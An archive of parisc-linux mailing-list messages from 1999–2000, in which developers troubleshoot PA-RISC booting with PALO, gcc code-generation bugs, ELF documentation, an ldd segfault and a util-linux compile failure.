Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29603
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 12:12:55 -0700
Original-Received: (qmail 5499 invoked by uid 15267); 3 Nov 2000 19:14:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5492 invoked from network); 3 Nov 2000 19:14:41 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 19:14:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 45D326A6E; Fri,  3 Nov 2000 11:14:40 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA00315;
	Fri, 3 Nov 2000 11:19:38 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Nov 2000 11:03:23 PST."
             <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8317

Kailashnath V Rampure wrote:
> Yes I have been following the same Doc.
> its tries to boot from the sda  as I can see the hard disk path. I have 2 
> Hdd's one sda and other sdb. the path are 8/16/5.6 and other is 8/16/5.0. 
> Here I think /dev/sda is 8/16/5.6.

The lower numbered SCSI ID will be /dev/sda.
SCSI devices are lettered in the order they are discovered.
The order is reflected in /proc/scsi/scsi.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Fri, 03 Nov 2000 11:46:39 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com> <200011031919.LAA00315@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619248 5480 80.91.229.3 (22 Nov 2014 01:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:48 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: kailasr@webcash.com  Fri Nov  3 12:52:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA30213
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 12:52:32 -0700
Original-Received: (qmail 28791 invoked by uid 15267); 3 Nov 2000 19:54:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28779 invoked from network); 3 Nov 2000 19:54:13 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 19:54:13 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA3JidH91123;
	Fri, 3 Nov 2000 11:44:39 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <200011031919.LAA00315@milano.cup.hp.com>
Original-References: <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8318

I have removed the 2nd HDD now the boot is trying but I get the same error:
my fstab reads as :

# /etc/fstab: static file system information.
#
# <file system> <mount> <type>  <options>                       <dump> <pass>
#/dev/sda1      /boot   ext2    defaults,errors=remount-ro      0       0
#/dev/sda2      none    swap    sw                              0       0
/dev/sda3       /       ext2    defaults,errors=remount-ro      0       0
# proc          /proc   proc    defaults                        0       0


The erros is as follows:
Boot IO Dependent Code (IODC) revision 144
.... SUCCEEDED!
HARD Booted.
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 208896 bytes @ 0x1f78c000
0/palo-cmdline '3/boot/vmlinux TERM=linux Home=/ root=/dev/sda3'
/dev/ida1 82 62 1030688
/dev/ida2 f0 1030750 24738
/dev/ida3 83 1055488 1030750
Kernel:partition 3 file /boot/vmlinux
ext2 block size 1024
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux)=3
Couldn't gork your kernel executabel format failed to load kernel
Failed to load Kernel.

Please suggest.


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Fri, 3 Nov 2000 15:01:17 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200011032001.PAA27415@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0010301335000.25085-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619248 5485 80.91.229.3 (22 Nov 2014 01:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:48 +0000 (UTC)
Cc: gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com, law@cygnus.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Nov  3 12:59:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA30556
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 12:59:58 -0700
Original-Received: (qmail 6371 invoked by uid 15267); 3 Nov 2000 20:01:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6364 invoked from network); 3 Nov 2000 20:01:43 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 20:01:43 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA27415;
	Fri, 3 Nov 2000 15:01:18 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0010301335000.25085-100000@front.linuxcare.com.au> from "Alan Modra" at Oct 30, 2000 06:04:44 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8319

> I think I know what's going on here.  The root of the problem is that
> pa-64.h defines an ARG_POINTER_REGNUM that isn't a fixed reg, and isn't
> eliminable.  The arg_pointer isn't even a call-saved reg.  That breaks a
> number of places in the compiler.
> 
> So I went down the path of trying to fix things properly by defining
> ELIMINABLE_REGS and so on, but I ended in a maze of twisty little passages
> labelled "Unrecognizable instruction", like this one:
> 
> /src/parisc/gcc/gcc/libgcc2.c: In function `__moddi3':
> /src/parisc/gcc/gcc/libgcc2.c:601: Unrecognizable insn:
> (insn 1289 209 1298 (set (reg:SI 50 %fr22)
>         (subreg:SI (plus:DI (reg:DI 30 %r30)
>                 (const_int -272 [0xfffffef0])) 0)) -1 (nil)
>     (nil))
> /src/parisc/gcc/gcc/libgcc2.c:601: Internal compiler error in
> extract_insn, at recog.c:2134

I am making progress in trying to make the arg_pointer register eliminable.
I have fixed the above problem.  What was happening was that reload_as_needed
was incorrectly trying to eliminate the return from millicode calls which
is also register r29.  I have figured out how to hide it from reload with
unspec.

However, the compiler is now too good at eliminating the arg_pointer.  At
-O3, it completely eliminates the arg_pointer.  However, as I read the ABI,
the call must always set the arg_pointer before calls.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: Mon, 19 Apr 1999 14:04:41 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <199904192104.OAA06003@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619249 5491 80.91.229.3 (22 Nov 2014 01:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:49 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Alex deVries" <adevries@redhat.com>,
        "Ulrich Drepper" <drepper@cygnus.com>
Original-X-From: cary@cup.hp.com  Mon Apr 19 17:04:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA14960
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 17:04:26 -0400
Original-Received: (qmail 25251 invoked by uid 15267); 19 Apr 1999 21:03:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25244 invoked from network); 19 Apr 1999 21:03:08 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 21:03:08 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA18432;
	Mon, 19 Apr 1999 17:04:01 -0400 (EDT)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA06003; Mon, 19 Apr 1999 14:04:14 -0700 (PDT)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:8320

>> > And the answer to this is:  
>> > - the only docs we have for 32 bit ELF from HP are quite old
>> > - if they're incomplete, it's up to us fill in the information
>> > - this is a good forum to ask directed questions on this topic
>> 
>> The question is: "is the documentation incomplete or wrong?".
>
>My understanding is that that documentations' always been incomplete, but
>not wrong.  Really the best person to talk to is Cary.  Cary?

The latest ELF supplement for PA-RISC is Version 1.5, dated August 20, 
1998. I'll send it separately to you, Alex, and you can post it on your 
web page (easier than getting HP's external web server updated). 

This document covers both 32-bit and 64-bit programs, but notes that ELF 
files are supported on HP-UX only for 64-bit programs. Nevertheless, a 
complete set of 32-bit relocations is listed in the document (and, yes, 
some 32-bit relocations have the same number and meaning, but different 
names, as 64-bit relocations).

The document also doesn't contain either Elf-32 or Elf-64 structure 
definitions. I have a separate document that describes Elf-64, but we 
defer to outside documentation for the Elf-32 format (e.g., the SVR4 gABI 
document).

If there are areas considered incomplete, please let me know. I'll do my 
best to answer questions here (first), and update the documents (as I 
have time).

-cary


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Fri, 03 Nov 2000 13:30:16 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <E13rnTc-0007jH-00@noam.fc.hp.com>
References: <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>  <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619249 5497 80.91.229.3 (22 Nov 2014 01:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:49 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
        Matt Taggart <taggart@carmen.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: bame@noam.fc.hp.com  Fri Nov  3 13:29:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA31113
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 13:29:26 -0700
Original-Received: (qmail 13909 invoked by uid 15267); 3 Nov 2000 20:30:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13838 invoked from network); 3 Nov 2000 20:30:30 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 20:30:30 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id C13D54B2; Fri,  3 Nov 2000 15:30:17 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id NAA06146;
	Fri, 3 Nov 2000 13:30:16 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13rnTc-0007jH-00; Fri, 03 Nov 2000 13:30:16 -0700
In-Reply-To: Your message of "Fri, 03 Nov 2000 11:46:39 PST."
             <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8321

= ext2_open(/boot/vmlinux)=3
= Couldn't gork your kernel executabel format failed to load kernel
= Failed to load Kernel.

That should be "grok" :-)  Apparently you're not using cut/paste for
these error messages.

This is PALO saying that /boot/vmlinux is neither elf32, elf64, nor SOM
format.  I'm guessing, based on some earlier advice I gave when you
were net-booting, that you may have a lifimage there by mistake -- you
need a kernel instead, for example from
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels

To tell for sure, run 'file vmlinux' on that file.  If you get
    vmlinux: 8086 relocatable (Microsoft)
that's probably a lifimage.  You should get this instead:
    vmlinux: ELF 32-bit MSB executable, PA-RISC, version 1, statically linked, not stripped


	-P


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Fri, 03 Nov 2000 14:59:29 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001103145524.00a49a50@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com> <E13rnTc-0007jH-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619249 5503 80.91.229.3 (22 Nov 2014 01:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:49 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
        Matt Taggart <taggart@carmen.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: kailasr@webcash.com  Fri Nov  3 16:05:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA32136
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 16:05:23 -0700
Original-Received: (qmail 25055 invoked by uid 15267); 3 Nov 2000 23:07:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25044 invoked from network); 3 Nov 2000 23:07:08 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 23:07:08 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA3MvTH06853;
	Fri, 3 Nov 2000 14:57:29 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <E13rnTc-0007jH-00@noam.fc.hp.com>
Original-References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8322

Thanks!  Paul.
Yes I had copied the lifImage there. Now I have downloaded the kernel from 
the link you mentioned.

I am still unable to use vi as it says "linux:unknown terminal type"
Can you help me.

To add features can I add deb packages. I am not that familiar with debian.
Actually I want to build an apache + mod_ssl+mod_perl on A180c.
Regards
Kailas

At 01:30 PM 11/3/00 -0700, Paul Bame wrote:
>= ext2_open(/boot/vmlinux)=3
>= Couldn't gork your kernel executabel format failed to load kernel
>= Failed to load Kernel.
>
>That should be "grok" :-)  Apparently you're not using cut/paste for
>these error messages.
>
>This is PALO saying that /boot/vmlinux is neither elf32, elf64, nor SOM
>format.  I'm guessing, based on some earlier advice I gave when you
>were net-booting, that you may have a lifimage there by mistake -- you
>need a kernel instead, for example from
>ftp://puffin.external.hp.com/pub/parisc/binaries/kernels
>
>To tell for sure, run 'file vmlinux' on that file.  If you get
>     vmlinux: 8086 relocatable (Microsoft)
>that's probably a lifimage.  You should get this instead:
>     vmlinux: ELF 32-bit MSB executable, PA-RISC, version 1, statically 
> linked, not stripped
>
>
>         -P


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ldd segfaulting?
Date: Sat, 4 Nov 2000 18:02:03 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20001104180203.A1271@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619250 5510 80.91.229.3 (22 Nov 2014 01:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:50 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: randolph@tausq.org  Sat Nov  4 18:00:31 2000
Original-Received: from phnxpop5.phnx.uswest.net (phnxpop5.phnx.uswest.net [206.80.192.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA18046
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Nov 2000 18:00:30 -0700
Original-Received: (qmail 74693 invoked by alias); 5 Nov 2000 01:02:14 -0000
Delivered-To: fixup-parisc-linux@puffin.external.hp.com@fixme
Original-Received: (qmail 74677 invoked by uid 0); 5 Nov 2000 01:02:14 -0000
Original-Received: from adslppp35.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.216.35)
  by phnxpop5.phnx.uswest.net with SMTP; 5 Nov 2000 01:02:14 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13sECB-0000NS-00; Sat, 04 Nov 2000 18:02:03 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8323

I think this may be related to what bdale has been seeing...

frodo:~# cat test.c
int main(int a, char **b) { return 0; }
frodo:~# gcc -o test test.c
frodo:~# ./test
frodo:~# ldd ./test

do_page_fault() pid=144 command='ld.so.1'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000000100001011
r0-3	 00000000 2aac367c 2aaacd67 2aaaa2f0
r4-7	 2aac367c 2aaab4e8 2aac3622 2aac02b8
r8-11	 20020048 2aaaccb8 2aaaa2f0 00000000
r12-15	 00000081 00000080 200201e8 2001fe10
r16-19	 00000000 00000000 00000000 2aac367c
r20-23	 00000000 2aaaa000 2aaaa000 00000041
r24-27	 2aaaa000 70000021 20020048 00076b50
r28-31	 00000021 20020048 200202c0 2aaacd1b
sr0-4	 00000000 00002003 00000000 00002003
sr4-8	 00002003 00002003 00002003 00002003

IASQ: 00002003 00002003 IAOQ: 2aaadc63 2aaadc67
 IIR: 0ce61280    ISR: 00002003  IOR: 2aac02b8
ORIG_R28: 00086350

do_page_fault() pid=145 command='ld.so.1'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000000100001011
r0-3	 00000000 2aac367c 2aaacd67 2aaaa2f0
r4-7	 2aac367c 2aaab4e8 2aac3622 2aac02b8
r8-11	 20020048 2aaaccb8 2aaaa2f0 00000000
r12-15	 00000081 00000080 200201e8 2001fe10
r16-19	 00000000 00000000 00000000 2aac367c
r20-23	 00000000 2aaaa000 2aaaa000 00000041
r24-27	 2aaaa000 70000021 20020048 00076b50
r28-31	 00000021 20020048 200202c0 2aaacd1b
sr0-4	 00000000 00002003 00000000 00002003
sr4-8	 00002003 00002003 00002003 00002003

IASQ: 00002003 00002003 IAOQ: 2aaadc63 2aaadc67
 IIR: 0ce61280    ISR: 00002003  IOR: 2aac02b8
ORIG_R28: 00090190
ldd: /lib/ld.so.1 exited with unknown exit code (139)
frodo:~# gcc --version
2.96
frodo:~# ldd --version
ldd (GNU libc) 2.1.95
Copyright (C) 1999 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
frodo:~# 

Any ideas what's going on? I've tried this both with a Oct26 kernel and
one that is from cvs today. Same results.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldd segfaulting?
Date: Sun, 5 Nov 2000 16:02:43 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011051539120.2082-100000@front.linuxcare.com.au>
References: <20001104180203.A1271@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619250 5512 80.91.229.3 (22 Nov 2014 01:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:50 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: alan@linuxcare.com.au  Sat Nov  4 22:01:08 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA19143
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Nov 2000 22:01:06 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA02661;
	Sun, 5 Nov 2000 16:02:43 +1100
In-Reply-To: <20001104180203.A1271@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8324

On Sat, 4 Nov 2000, Randolph Chung wrote:

> frodo:~# ldd ./test
> 
> do_page_fault() pid=144 command='ld.so.1'

Most likely a case of new kernel, ld.so compiled with old gcc.  Old is
earlier than 25th Oct.  Before that gcc put plabels, which need
relocating, in .rodata, which is mapped read-only.  The new kernel
enforces the read-only mapping, so you run into problems when ld.so tries
to relocate itself.

Fortunately, you only need recompile glibc with a new gcc.  Older binaries
with plabels in .rodata are handled OK as ld.so re-maps the segments
read/write, something it doesn't manage to do for itself.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiler bug?
Date: Sat, 04 Nov 2000 23:16:29 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <20001105061629.9FF2835E20@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619250 5517 80.91.229.3 (22 Nov 2014 01:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Sat Nov  4 23:14:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA19839
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Nov 2000 23:14:54 -0700
Original-Received: (qmail 6593 invoked by uid 15267); 5 Nov 2000 06:16:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6581 invoked from network); 5 Nov 2000 06:16:41 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 5 Nov 2000 06:16:41 -0000
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 9FF2835E20
	for <parisc-linux@thepuffingroup.com>; Sat,  4 Nov 2000 23:16:29 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8325

In the build of util-linux, compilation of fdisk/fdiskbsdlabel.c fails as 
shown below.  I have placed "gcc -E" output on pehc in ~bdale/fdiskbsdlabel.E
for reference.  

Hacking the makefiles to remove "-O -O2" allows the compile to complete 
cleanly.  

I assume this means something in the compiler is broken?

Bdale



bdale@j5k:/space/debian/util-linux-2.10o/fdisk $ cc -c -O -O2 -fomit-frame-pointer -I../lib -Wall -Wmissing-prototypes -Wstrict-prototypes -DNCH=1  -DSBINDIR=\"/sbin\" -DUSRSBINDIR=\"/usr/sbin\" -DLOGDIR=\"/var/log\" -DVARPATH=\"/var\" -DLOCALEDIR=\"/usr/share/locale\" fdiskbsdlabel.c -o fdiskbsdlabel.o
/usr/include/linux/string.h:12: parse error before "__extension__"
/usr/include/linux/string.h:12: parse error before '&&' token
/usr/include/linux/string.h:14: parse error before "__extension__"
/usr/include/linux/string.h:14: parse error before '(' token
/usr/include/linux/string.h:15: parse error before "__extension__"
/usr/include/linux/string.h:15: parse error before '&&' token
/usr/include/linux/string.h:24: parse error before "__extension__"
/usr/include/linux/string.h:27: parse error before "__extension__"
/usr/include/linux/string.h:33: parse error before "__extension__"
/usr/include/linux/string.h:36: parse error before "__extension__"
/usr/include/linux/string.h:36: parse error before '&&' token
/usr/include/linux/string.h:36: parse error before '}' token
/usr/include/linux/string.h:36: conflicting declarations of `__result'
/usr/include/linux/string.h:36: `__result' previously declared here
/usr/include/linux/string.h:36: parse error before ')' token
/usr/include/linux/string.h:36: `__s2' undeclared here (not in a function)
/usr/include/linux/string.h:36: parse error before ';' token
/usr/include/linux/string.h:36: conflicting declarations of `__result'
/usr/include/linux/string.h:36: `__result' previously defined here
/usr/include/linux/string.h:36: parse error before '}' token
/usr/include/linux/string.h:36: parse error before '}' token
/usr/include/linux/string.h:36: redefinition of `__result'
/usr/include/linux/string.h:36: `__result' previously defined here
/usr/include/linux/string.h:36: `__s1' undeclared here (not in a function)
/usr/include/linux/string.h:36: parse error before ')' token
/usr/include/linux/string.h:36: parse error before ';' token
/usr/include/linux/string.h:36: conflicting declarations of `__result'
/usr/include/linux/string.h:36: `__result' previously defined here
